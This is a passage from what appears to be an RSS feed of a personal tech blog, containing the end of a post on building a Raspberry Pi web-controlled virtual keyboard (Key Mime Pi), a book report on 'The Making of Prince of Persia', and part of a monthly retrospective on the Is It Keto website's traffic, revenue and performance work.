 src="https://mtlynch.io/key-mime-pi/power-connector-cables.jpg" alt="Power connector hooked up to Raspberry Pi and microUSB cables" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>The &lt;a href="https://tinypilotkvm.com/product/tinypilot-power-connector">TinyPilot Power Connector&lt;/a> allows the Pi to receive 3 Amps of power through its USB-C port without losing USB OTG functionality.&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;p>Importantly, the power connector&amp;rsquo;s data port excludes a USB power line. This ensures that voltage differences between the computer&amp;rsquo;s power source and the Pi&amp;rsquo;s power source won&amp;rsquo;t cause undesirable power backflows.&lt;/p>
&lt;div class="notice notice-warning">
 &lt;strong>Note&lt;/strong>: Without a proper connector, there&amp;rsquo;s a risk of hardware damage if you power the Pi from an external power source while it&amp;rsquo;s connected to a computer. See &lt;a href="https://github.com/tiny-pilot/tinypilot/wiki/Powering-your-TinyPilot-safely">the TinyPilot wiki&lt;/a> for additional details.
&lt;/div>

&lt;h2 id="troubleshooting">Troubleshooting&lt;/h2>
&lt;h3 id="verifying-the-driver-is-working">Verifying the driver is working&lt;/h3>
&lt;p>If Key Mime Pi fails to forward keystrokes to the target machine, the first step is to determine whether the USB gadget is working properly.&lt;/p>
&lt;p>Try the following commands:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">echo&lt;/span> -ne &lt;span style="color:#ed9d13">&amp;#34;\0\0\xb\0\0\0\0\0&amp;#34;&lt;/span> &amp;gt; /dev/hidg0 &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> &lt;span style="color:#24909d">echo&lt;/span> -ne &lt;span style="color:#ed9d13">&amp;#34;\0\0\xc\0\0\0\0\0&amp;#34;&lt;/span> &amp;gt; /dev/hidg0 &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> &lt;span style="color:#24909d">echo&lt;/span> -ne &lt;span style="color:#ed9d13">&amp;#34;\0\0\0\0\0\0\0\0&amp;#34;&lt;/span> &amp;gt; /dev/hidg0
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>If everything is working, you should see the following output on the machine the Pi is connected to via USB:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>hi
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="writes-to-hid-interface-hang">Writes to HID interface hang&lt;/h3>
&lt;p>When testing Key Mime Pi on the Pi Zero W, I ran into a case where writes to &lt;code>/dev/hidg0&lt;/code> hung indefinitely. I tried a different Micro-USB to USB-A cable, and the problem went away. I suspect that the first cable was either damaged or supported power only and not data. If you run into hanging writes to &lt;code>/dev/hidg0&lt;/code>, try a USB cable that supports data transfer (most USB cables do).&lt;/p>
&lt;h2 id="next-step-embedding-display-output">Next step: embedding display output&lt;/h2>
&lt;p>Remote typing is fun, but it&amp;rsquo;s a bit impractical. When you&amp;rsquo;re typing into a system, it generally helps to see the output too.&lt;/p>
&lt;p>My next step is to capture HDMI output from the target computer and embed it in Key Mime Pi&amp;rsquo;s web interface. That way, I&amp;rsquo;ll be able to plug my Pi into a headless server and have a virtual console in the browser. It will essentially be a low-cost, hackable &lt;a href="https://smile.amazon.com/Lantronix-1PORT-Remote-Spider-SLS200USB0-01/dp/B000OH5MDO/">KVM over IP device&lt;/a>.&lt;/p>
&lt;p>I have a working prototype using &lt;a href="https://ffmpeg.org/ffplay.html">ffplay&lt;/a> and an &lt;a href="https://smile.amazon.com/AEMYO-Extender-V3-0-Ethernet-Supports/dp/B01LGUT9HW/">HDMI extender&lt;/a>, but I&amp;rsquo;m still working on a solution that puts everything in a single browser window with low latency.&lt;/p>




















 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 1600px">



 &lt;a href="https://mtlynch.io/key-mime-pi/ffplay-key-mime-pi.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 1600px, 98vw"
 srcset='https://mtlynch.io/key-mime-pi/ffplay-key-mime-pi_hu_8a705a4e9e1a2224.jpg 300w, https://mtlynch.io/key-mime-pi/ffplay-key-mime-pi_hu_c1b67497a672fb09.jpg 600w, https://mtlynch.io/key-mime-pi/ffplay-key-mime-pi_hu_e076254f95fbfacb.jpg 800w, https://mtlynch.io/key-mime-pi/ffplay-key-mime-pi_hu_ebf692425780bb1e.jpg 1200w, https://mtlynch.io/key-mime-pi/ffplay-key-mime-pi.jpg 1600w'
 src="https://mtlynch.io/key-mime-pi/ffplay-key-mime-pi.jpg" alt="Screenshot of Key Mime Pi showing the remote machine&amp;#39;s screen" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>I can view the remote machine&amp;rsquo;s monitor output using an &lt;a href="https://smile.amazon.com/AEMYO-Extender-V3-0-Ethernet-Supports/dp/B01LGUT9HW/">HDMI extender&lt;/a>, but I&amp;rsquo;m still working on integrating everything into the browser.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h2 id="want-a-pre-configured-kit">Want a pre-configured kit?&lt;/h2>
&lt;div class="notice notice-info">
 &lt;strong>Update: June 29, 2020&lt;/strong>
&lt;/div>

&lt;p>I now have a working solution that both captures video output from a target device and allows you to send keystrokes, all within a browser window.&lt;/p>
&lt;img src="kvmpi-bios.gif">
&lt;p>A detailed follow-up post is coming soon, but in the meantime, you can pre-order pre-configured KVM Pi kits that include everything you need to build your own KVM Pi:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://tinypilotkvm.com/">tinypilotkvm.com&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="source-code">Source code&lt;/h2>
&lt;p>Key Mime Pi&amp;rsquo;s code is fully open source under the permissive &lt;a href="https://opensource.org/licenses/MIT">MIT license&lt;/a>:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://github.com/mtlynch/key-mime-pi.git">key-mime-pi&lt;/a>: Web server that forwards keystrokes to the Pi&amp;rsquo;s virtual keyboard.&lt;/li>
&lt;li>&lt;a href="https://github.com/mtlynch/ansible-role-key-mime-pi">ansible-role-key-mime-pi&lt;/a>: The Ansible role for configuring the Pi&amp;rsquo;s USB gadget functionality and for installing the web server as a systemd service.&lt;/li>
&lt;/ul>
&lt;h2 id="acknowledgments">Acknowledgments&lt;/h2>
&lt;ul>
&lt;li>&lt;a href="https://github.com/raspberrypisig/pizero-usb-hid-keyboard">raspberrypisig/pizero-usb-hid-keyboard&lt;/a> was the first sample code I found that successfully installed the virtual USB HID device on my Pi.&lt;/li>
&lt;li>&lt;a href="https://github.com/Fmstrat/diy-ipmi">Fmstrat/diy-ipmi&lt;/a> was an inspiration for this project and proved that it was possible to make a Pi function as a KVM over IP.&lt;/li>
&lt;li>&lt;a href="https://www.rmedgar.com/blog/using-rpi-zero-as-keyboard-send-reports">Rafael Medina&lt;/a> provided the most readable explanation of the HID protocol I found.&lt;/li>
&lt;li>Thanks to the Linux and Raspberry Pi OS developers who made USB gadget functionality possible.&lt;/li>
&lt;/ul></content:encoded></item><item><title>The Making of Prince of Persia by Jordan Mechner</title><link>https://mtlynch.io/book-reports/making-of-prince-of-persia/</link><pubDate>Wed, 10 Jun 2020 00:00:00 +0000</pubDate><guid>https://mtlynch.io/book-reports/making-of-prince-of-persia/</guid><description>&lt;p>This book follows the author of the hit 90s computer game &lt;em>Prince of Persia&lt;/em> through the game&amp;rsquo;s development, release, and several years after. The book consists of diary entries that author Jordan Mechner wrote during that time, with margin notes and accompanying photos and sketches Mechner added for publication.&lt;/p></description><content:encoded>&lt;p>This book follows the author of the hit 90s computer game &lt;em>Prince of Persia&lt;/em> through the game&amp;rsquo;s development, release, and several years after. The book consists of diary entries that author Jordan Mechner wrote during that time, with margin notes and accompanying photos and sketches Mechner added for publication.&lt;/p>
&lt;p>I played &lt;em>Prince of Persia&lt;/em> as a child, so it was a nostalgic treat to revisit details of the game I hadn&amp;rsquo;t thought about in years. It was also interesting looking back on that time when computer games were so personal. There was no &amp;ldquo;hype&amp;rdquo; around a particular computer game because there were no channels for hype to reach me. I didn&amp;rsquo;t know how to use the web, and I only had one other friend who played computer games. I didn&amp;rsquo;t know which games were hits or which were flops; I just knew which games I enjoyed.&lt;/p>
&lt;p>The feature that most stuck with me about &lt;em>Prince of Persia&lt;/em> was the realism of the protagonist&amp;rsquo;s physical movements. Reading this book, it seems that this is the same feature that captivated everyone else. It&amp;rsquo;s a unique feeling to find out 30 years later that you&amp;rsquo;re in agreement with everyone else.&lt;/p>
&lt;p>The book presents a romantic view of software development. In the 80s and 90s, game developers were more like auteurs, controlling every aspect of a game: code, graphics, music, box art, sales copy. It&amp;rsquo;s fun to get a peek inside Mechner&amp;rsquo;s thought process in creating his games and reading about his conversations with other top developers about design techniques.I was surprised to see how important plot was to everyone, as they often treated the storyline as the game&amp;rsquo;s foundation. It presents an interesting contrast to &lt;a href="https://smile.amazon.com/Masters-Doom-Created-Transformed-Culture/dp/0812972155/">Masters of Doom&lt;/a>, which described id Software&amp;rsquo;s development process as basically, &amp;ldquo;&lt;a href="https://en.wikipedia.org/wiki/John_Carmack">John Carmack&lt;/a> figured out a new awesome thing he can do with computer graphics, so let&amp;rsquo;s build a game around it.&amp;rdquo;&lt;/p>
&lt;p>It&amp;rsquo;s also interesting as a social time capsule. During game development, &amp;ldquo;a group of irate women&amp;rdquo; at the company collectively raise complaints about &lt;a href="cover-art.jpg">the game&amp;rsquo;s cover art&lt;/a>, which featured a menacing Middle Eastern man violently grabbing the wrist of a busty princess. The response from the men is sort of like, &amp;ldquo;Ugh, these concerns are &lt;em>so annoying&lt;/em>.&amp;rdquo; One of the men in upper management sends out a condescending email explaining why women are wrong to be offended, and then&amp;hellip; that&amp;rsquo;s it. The matter is settled, and it&amp;rsquo;s never addressed again. Later, they celebrate the brilliance of their box art.&lt;/p>
&lt;p>The book is also a lesson in enjoying the present. Throughout Mechner&amp;rsquo;s journals, he achieves monumental success in the computer gaming world. Top game critics and designers hail him as one of the greatest game designers before he&amp;rsquo;s even 25, but he struggles to enjoy it because his true dream is to be a screenwriter. There are so many victories he fails to appreciate because he was focused on outdoing himself on his next project.&lt;/p>
&lt;p>The first half of the book focuses on the software development parts of his life. The second half of the book is more about him struggling to break into the film industry and working on student films, so that wasn&amp;rsquo;t as engaging for me. Overall, though, it&amp;rsquo;s a fun read and a unique perspective.&lt;/p>
&lt;hr>
&lt;h2 id="what-i-liked">What I liked&lt;/h2>
&lt;ul>
&lt;li>Reading journal entries provides a fascinating, unfiltered view into a person&amp;rsquo;s life.&lt;/li>
&lt;li>The Stripe version includes margin notes where the author provides context, present reflections, and trivia about people involved.&lt;/li>
&lt;li>It&amp;rsquo;s impressive how eloquent he is in what he expected to be his private journal.
&lt;ul>
&lt;li>If I kept a journal from my twenties, it would be far less succinct or profound.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="what-i-disliked">What I disliked&lt;/h2>
&lt;ul>
&lt;li>Certain parts are a little hard to follow.
&lt;ul>
&lt;li>Because it&amp;rsquo;s just verbatim journal entries, the author often omits context about who people are or what&amp;rsquo;s happening. The Stripe edition has margin notes, but I wish there were a bit more.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Lots of content dedicated to Mechner&amp;rsquo;s unsuccessful attempts to break into the film industry that I could have done without.&lt;/li>
&lt;/ul>
&lt;h2 id="key-takeaways">Key takeaways&lt;/h2>
&lt;h3 id="stripe-has-a-publishing-house">Stripe has a publishing house?&lt;/h3>
&lt;ul>
&lt;li>At first, I thought it was strange that another company was called &amp;ldquo;Stripe.&amp;rdquo; When I realize it was the same Stripe I knew, I was even more surprised to learn that they publish books sometimes.&lt;/li>
&lt;li>They have several &lt;a href="https://press.stripe.com/">interesting-looking titles&lt;/a>.&lt;/li>
&lt;/ul>
&lt;h3 id="prince-of-persia-trivia">&lt;em>Prince of Persia&lt;/em> Trivia&lt;/h3>
&lt;ul>
&lt;li>Broderbund, the game&amp;rsquo;s publisher, offered Mechner no advance or salary on &lt;em>Prince of Persia&lt;/em>, instead putting his entire compensation in a 15% royalty.
&lt;ul>
&lt;li>This was an odd deal because Broderbund had no skin in the game during development.&lt;/li>
&lt;li>Broderbund gave Mechner office space at their headquarters but mostly left him to his own devices for the first year of the game&amp;rsquo;s development.&lt;/li>
&lt;li>In retrospect, Mechner feels stupid for working with Broderbund.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>The animation was so revolutionarily lifelike because he &lt;a href="https://www.youtube.com/watch?v=PH0cpppGuow">recorded his younger performing the movements&lt;/a> and then painstakingly traced the frames.&lt;/li>
&lt;li>The princess animations were based on &lt;a href="https://www.youtube.com/watch?v=0vG403uFdYc">Tina LaDeau&lt;/a>, the teenage daughter of a Broderbund manager.&lt;/li>
&lt;li>Mechner originally intended to ship the level editor with the game so that players could design their own &lt;em>Prince of Persia&lt;/em> levels after completing the official game.
&lt;ul>
&lt;li>He pulled it at the last minute over concerns about disk space and cheapening the experience of the official levels.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Mechner&amp;rsquo;s father, an &lt;a href="https://en.wikipedia.org/wiki/Francis_Mechner">accomplished research psychologist&lt;/a> and amateur musician, composed the music for the game.&lt;/li>
&lt;li>&lt;em>Prince of Persia&lt;/em> was almost a commercial flop due to inadequate support from Broderbund&amp;rsquo;s marketing department.
&lt;ul>
&lt;li>Despite glowing reviews from critics and players, &lt;em>Prince of Persia&lt;/em> sold poorly for almost a full year after release.&lt;/li>
&lt;li>Broderbund&amp;rsquo;s marketing department constantly clashed with Mechner and withheld investment in the game.
&lt;ul>
&lt;li>&lt;em>[&lt;strong>Ed&lt;/strong>: Marketing was a female-dominated department, so I wonder if this was fallout from female employees&amp;rsquo; concerns about the game&amp;rsquo;s cover art.]&lt;/em>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Sales finally turned around after personnel changes in the marketing department brought people who supported the game.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="early-computer-game-development">Early computer game development&lt;/h3>
&lt;ul>
&lt;li>Game developers in the 80s and 90s were like one-person bands. They often did all the programming, graphics, and music.&lt;/li>
&lt;li>Before making a new game, video game designers first had to build their own custom tools for making each game from scratch.&lt;/li>
&lt;li>Video games were so constrained by the tiny amount of RAM available at the time.
&lt;ul>
&lt;li>During &lt;em>Prince of Persia&lt;/em>&amp;rsquo;s development, he has no RAM available for new enemy character animations, so he gets the idea to make an enemy by XOR&amp;rsquo;ing the protagonist&amp;rsquo;s animations and calling him &lt;a href="https://princeofpersia.fandom.com/wiki/Shadowman">Shadowman&lt;/a>.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Video games were such a slog!
&lt;ul>
&lt;li>He spends two years writing all the code in a vacuum, and then there&amp;rsquo;s another year of quality assurance, bugfixing, and marketing.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Porting games to different platforms was a major undertaking.
&lt;ul>
&lt;li>They had to hire contractors for months of work to rewrite &lt;em>Prince of Persia&lt;/em> for a new platform, taking into account the new system&amp;rsquo;s unique graphics capabilities and resource constraints.&lt;/li>
&lt;li>Developers who write the port were offered royalties of 5-10%, not that far from what the author himself earned.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Software engineering practices were so much messier back in the day.
&lt;ul>
&lt;li>The author continued adding pet features to the game close to release, sometimes introducing severe bugs in the process and forcing QA to restart late into the testing process.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="play-theory">Play theory&lt;/h3>
&lt;p>While diagnosing problems with &lt;em>Prince of Persia&lt;/em>, Mechner surveys the popular games at the time (&lt;em>Asteroids&lt;/em>, &lt;em>Pac-Man&lt;/em>, &lt;em>Karateka&lt;/em>, &lt;em>Lode Runner&lt;/em>) and identifies commonalities that he thinks made them successful.&lt;/p>
&lt;ol>
&lt;li>A glance at the screen is all you need to identify how much progress you&amp;rsquo;ve made.&lt;/li>
&lt;li>On the path to your ultimate goal, there are smaller setbacks and successes.
&lt;ul>
&lt;li>e.g., clearing a difficult area in &lt;em>Pac-Man&lt;/em>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>The player controls the pace and chooses when they want to progress into a high tension part of the game.&lt;/li>
&lt;/ol></content:encoded></item><item><title>Is It Keto: Month 12</title><link>https://mtlynch.io/retrospectives/2020/06/</link><pubDate>Mon, 01 Jun 2020 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2020/06/</guid><description>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I added 88 new programmatically-generated articles to Is It Keto.&lt;/li>
&lt;li>With 100k monthly pageviews, it&amp;rsquo;s time to explore new ways of working with Is It Keto&amp;rsquo;s audience.&lt;/li>
&lt;li>I created a KVM over IP device that requires &amp;lt;$100 in hardware.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="add-100-new-articles-to-is-it-keto">Add 100 new articles to Is It Keto&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Added 88 new articles to Is It Keto&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: B&lt;/li>
&lt;/ul>
&lt;p>Programmatically generating content is harder than I expected. It&amp;rsquo;s easy to generate the score and nutrition data, but it&amp;rsquo;s tough to templatize lots of text that fits a wide range of products.&lt;/p></description><content:encoded>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I added 88 new programmatically-generated articles to Is It Keto.&lt;/li>
&lt;li>With 100k monthly pageviews, it&amp;rsquo;s time to explore new ways of working with Is It Keto&amp;rsquo;s audience.&lt;/li>
&lt;li>I created a KVM over IP device that requires &amp;lt;$100 in hardware.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="add-100-new-articles-to-is-it-keto">Add 100 new articles to Is It Keto&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Added 88 new articles to Is It Keto&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: B&lt;/li>
&lt;/ul>
&lt;p>Programmatically generating content is harder than I expected. It&amp;rsquo;s easy to generate the score and nutrition data, but it&amp;rsquo;s tough to templatize lots of text that fits a wide range of products.&lt;/p>
&lt;p>I&amp;rsquo;m going to continue building up templates and adding new foods, but I&amp;rsquo;ll explore other options for growing the site&amp;rsquo;s revenues as well.&lt;/p>
&lt;h3 id="publish-one-new-blog-post">Publish one new blog post&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: I published &lt;a href="https://mtlynch.io/digitizing-1/">&amp;ldquo;My Eight-Year Quest to Digitize 45 Videotapes.&amp;rdquo;&lt;/a>&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>I&amp;rsquo;ve been working on this article in some form or another for the last two years, so I&amp;rsquo;m happy to have finally published it. I&amp;rsquo;m pleased with the result, and it&amp;rsquo;s been nice hearing people say it gave them useful ideas their own digitization projects.&lt;/p>
&lt;p>The post &lt;a href="https://redd.it/gqxvxb">got a good response on Reddit&lt;/a> but &lt;a href="https://news.ycombinator.com/item?id=23311096">failed to gain traction on Hacker News&lt;/a>. I still think it has a chance on Hacker News, so I&amp;rsquo;ll try again in a week or so.&lt;/p>
&lt;h2 id="stats">Stats&lt;/h2>
&lt;h3 id="is-it-keto">&lt;a href="https://isitketo.org">Is It Keto&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="isitketo-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>April 2020&lt;/th>
 &lt;th>May 2020&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>35,451&lt;/td>
 &lt;td>50,352&lt;/td>
 &lt;td>&lt;font color="green">+14,901 (+42%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>72,894&lt;/td>
 &lt;td>99,391&lt;/td>
 &lt;td>&lt;font color="green">+26,497 (+36%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Domain Rating (Ahrefs)&lt;/td>
 &lt;td>27.0&lt;/td>
 &lt;td>27.0&lt;/td>
 &lt;td>0&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>AdSense Earnings&lt;/td>
 &lt;td>$92.09&lt;/td>
 &lt;td>$109.92&lt;/td>
 &lt;td>&lt;font color="green">+$17.83 (+19%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Amazon Affiliate Earnings&lt;/td>
 &lt;td>$128.39&lt;/td>
 &lt;td>$111.61&lt;/td>
 &lt;td>&lt;font color="red">-$16.78 (-13%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$220.48&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$221.53&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="green">+$1.05 (+0%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Is It Keto continued growing in visitors. It seems to have recovered to its normal level of activity pre-COVID. Worryingly, AdSense earnings failed to keep pace, and Amazon Affiliate earnings actually dropped.&lt;/p>
&lt;p>Checking the stats more closely, Is It Keto generated 25% more revenue for Amazon in May than it did in April, but Amazon &lt;a href="https://www.cnbc.com/2020/04/14/amazon-slashes-commission-rates-for-affiliate-program.html">slashed their affiliate payout rates&lt;/a>, substantially reducing Is It Keto&amp;rsquo;s revenues.&lt;/p>
&lt;h2 id="doing-more-with-is-it-ketos-audience">Doing more with Is It Keto&amp;rsquo;s audience&lt;/h2>
&lt;p>A few weeks ago, &lt;a href="https://nugget.one/jv">Justin Vincent&lt;/a> reached out to me. He&amp;rsquo;s a serial entrepreneur and founder of &lt;a href="https://nugget.one">The Nugget Startup Academy&lt;/a>. He&amp;rsquo;d been enjoying my blog and wanted to know if I&amp;rsquo;d be open to a Zoom call to brainstorm ideas for monetizing Is It Keto. I agreed, and it led to several useful insights about the business.&lt;/p>
&lt;p>The first thing that surprised me was how highly Justin viewed Is It Keto&amp;rsquo;s visitor stats.&lt;/p>
&lt;blockquote>
&lt;p>&lt;strong>Justin&lt;/strong>: How many uniques do you get per week?&lt;/p>
&lt;p>&lt;strong>Me&lt;/strong>: Around ten thousand.&lt;/p>
&lt;p>&lt;strong>Justin&lt;/strong>: Wow. You&amp;rsquo;re sitting on a goldmine.&lt;/p>&lt;/blockquote>
&lt;p>Top keto recipe blogs get ~3M unique visitors per month, so my 40-50k felt like nothing. Justin argued that one of the hardest parts of launching a product is finding interested customers, but if I have access to 10,000 people each week interested in keto, that&amp;rsquo;s a huge leg up.&lt;/p>
&lt;blockquote>
&lt;p>&lt;strong>Justin&lt;/strong>: When you look at existing keto communities, what do you notice people struggling with? What issues come up a lot?&lt;/p>
&lt;p>&lt;strong>Me&lt;/strong>: I don&amp;rsquo;t know. I feel like most of the discussion revolves around people sharing progress and other members congratulating them.&lt;/p>
&lt;p>&lt;strong>Justin&lt;/strong>: Congratulating each other&amp;hellip; That&amp;rsquo;s interesting. Have you seen &lt;a href="https://wip.chat/">wip.chat&lt;/a>?&lt;/p>&lt;/blockquote>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 650px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/06/wip.chat.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 650px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/06/wip.chat_hu_a0a6f4b27e7f22a.png 300w, https://mtlynch.io/retrospectives/2020/06/wip.chat_hu_4f2f5df7afc288a4.png 600w, https://mtlynch.io/retrospectives/2020/06/wip.chat_hu_b12d058872c391fc.png 800w, https://mtlynch.io/retrospectives/2020/06/wip.chat_hu_8aa8523486ab08de.png 1200w, https://mtlynch.io/retrospectives/2020/06/wip.chat.png 1442w'
 src="https://mtlynch.io/retrospectives/2020/06/wip.chat.png" alt="Screenshot of wip.chat" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>&lt;a href="https://wip.chat/">wip.chat&lt;/a>, a popular social network for independent software developers&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>&lt;a href="https://wip.chat/">wip.chat&lt;/a> is a popular social network for indie developers. Non-members can view some of the content, but you need to be a member to post anything, and that costs $20/month. Their pitch is that the wip.chat community helps you build your product by holding you accountable to your project&amp;rsquo;s milestones.&lt;/p>
&lt;p>The more we talked about a wip.chat for keto, the more I liked the idea. All the social networks I&amp;rsquo;ve seen for keto use generic tools: Facebook groups, subreddits, Discord channels. What if there was a tool specifically for keto dieters? Over the next week, I brainstormed 25 more ideas, but the wip.chat clone remained at the top of my list.&lt;/p>
&lt;p>This week, I&amp;rsquo;m going to create a landing page for this theoretical keto social network and advertise it on Is It Keto. I&amp;rsquo;ll include a signup button, but when the user tries to pay, they&amp;rsquo;ll see a message saying something like, &amp;ldquo;I&amp;rsquo;m still building this site, but you can sign up for this mailing list to find out when it&amp;rsquo;s ready.&amp;rdquo;&lt;/p>
&lt;p>Another great insight that came out of the conversation was around partnerships:&lt;/p>
&lt;blockquote>
&lt;p>&lt;strong>Justin&lt;/strong>: Once you create your membership product, you can make direct partnerships and affiliate deals with other keto businesses.&lt;/p>
&lt;p>&lt;strong>Me&lt;/strong>: But I already have visitors. Why wouldn&amp;rsquo;t I do that now?&lt;/p>
&lt;p>&lt;strong>Justin&lt;/strong>: Good question. Why &lt;strong>wouldn&amp;rsquo;t&lt;/strong> you do that now?&lt;/p>&lt;/blockquote>
&lt;p>This is why it&amp;rsquo;s valuable to have an outsider&amp;rsquo;s perspective. I tried approaching other keto companies for affiliate deals early in Is It Keto&amp;rsquo;s life, but I was too small, so most of them ignored me. With 100k monthly pageviews, Is It Keto is significant enough that partnerships are viable. I just forgot to revisit the idea because it had been infeasible for so long. But what&amp;rsquo;s stopping me from contacting keto businesses advertising on my site via AdSense to ask if they want to set up a deal with me directly?&lt;/p>













 








 
 
 







&lt;figure class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/06/keto-advertiser.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/06/keto-advertiser_hu_35b55692aa13dcb5.png 300w, https://mtlynch.io/retrospectives/2020/06/keto-advertiser.png 377w'
 src="https://mtlynch.io/retrospectives/2020/06/keto-advertiser.png" alt="Screenshot of wip.chat" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Maybe I can just make a direct deal with this advertiser instead of working through Google AdSense.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h2 id="improving-is-it-ketos-browser-performance">Improving Is It Keto&amp;rsquo;s browser performance&lt;/h2>
&lt;p>Through most of Is It Keto&amp;rsquo;s life, performance has been an afterthought. Occasionally, I&amp;rsquo;ve fixed components that were causing noticeable slowdowns, but I rarely design for speed.&lt;/p>
&lt;p>Given that Google drives 90% of the site&amp;rsquo;s visitors, and &lt;a href="https://developers.google.com/web/updates/2018/07/search-ads-speed">Google uses performance as a metric in ranking search results&lt;/a>, I spent a few days identifying bottlenecks on Is It Keto. I use the &lt;a href="https://gridsome.org">Gridsome&lt;/a> framework for generating Is It Keto&amp;rsquo;s contents, so &lt;a href="https://www.codegram.com/blog/improving-a-gridsome-website-performance/">this article&lt;/a> helped me achieve a few performance gains.&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Change&lt;/th>
 &lt;th>Performance impact&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Load Bootstrap-Vue components &lt;a href="https://web.archive.org/web/20250309063833/https://bootstrap-vue.org/docs#individual-components-and-directives">a la carte&lt;/a> instead of importing all of Bootstrap-Vue and Bootstrap-Vue-Icons&lt;/td>
 &lt;td>High&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Filter my Gridsome data &lt;a href="https://gridsome.org/docs/filtering-data/">at the graphql layer&lt;/a> rather than at the Vue layer to reduce the size of static JSON files&lt;/td>
 &lt;td>High&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Undid &lt;a href="https://dev.to/jeremyjackson89/gridsome-g-images-with-dynamic-paths-1mgn">this hack&lt;/a> for loading images in Gridsome with dynamic paths&lt;/td>
 &lt;td>Medium&lt;/td>
 &lt;/tr>
 &lt;tr>
